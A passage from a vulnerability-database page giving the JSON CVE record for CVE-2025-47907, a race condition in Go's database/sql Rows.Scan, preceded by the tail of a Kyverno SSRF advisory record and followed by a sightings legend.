"id": "GHSA-459x-q9hg-4gpq",
"modified": "2025-04-23T15:11:02Z",
"published": "2025-04-15T21:19:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3615"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Kyverno vulnerable to SSRF via Service Calls"
}
CVE-2025-47907 (GCVE-0-2025-47907)
Vulnerability from cvelistv5 – Published: 2025-08-07 15:25 – Updated: 2025-11-04 21:10- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Go standard library | database/sql |
Affected:
0 , < 1.23.12
(semver)
Affected: 1.24.0 , < 1.24.6 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2025-47907",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-08-07T15:45:26.297503Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-08-07T15:48:03.634Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2025-11-04T21:10:56.083Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "http://www.openwall.com/lists/oss-security/2025/08/06/1"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "database/sql",
"product": "database/sql",
"programRoutines": [
{
"name": "Rows.Scan"
},
{
"name": "Row.Scan"
}
],
"vendor": "Go standard library",
"versions": [
{
"lessThan": "1.23.12",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.24.6",
"status": "affected",
"version": "1.24.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Spike Curtis from Coder"
}
],
"descriptions": [
{
"lang": "en",
"value": "Cancelling a query (e.g. by cancelling the context passed to one of the query methods) during a call to the Scan method of the returned Rows can result in unexpected results if other queries are being made in parallel. This can result in a race condition that may overwrite the expected results with those of another query, causing the call to Scan to return either unexpected results from the other query or an error."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-07T15:25:30.704Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/cl/693735"
},
{
"url": "https://go.dev/issue/74831"
},
{
"url": "https://groups.google.com/g/golang-announce/c/x5MKroML2yM"
},
{
"url": "https://pkg.go.dev/vuln/GO-2025-3849"
}
],
"title": "Incorrect results returned from Rows.Scan in database/sql"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2025-47907",
"datePublished": "2025-08-07T15:25:30.704Z",
"dateReserved": "2025-05-13T23:31:29.597Z",
"dateUpdated": "2025-11-04T21:10:56.083Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.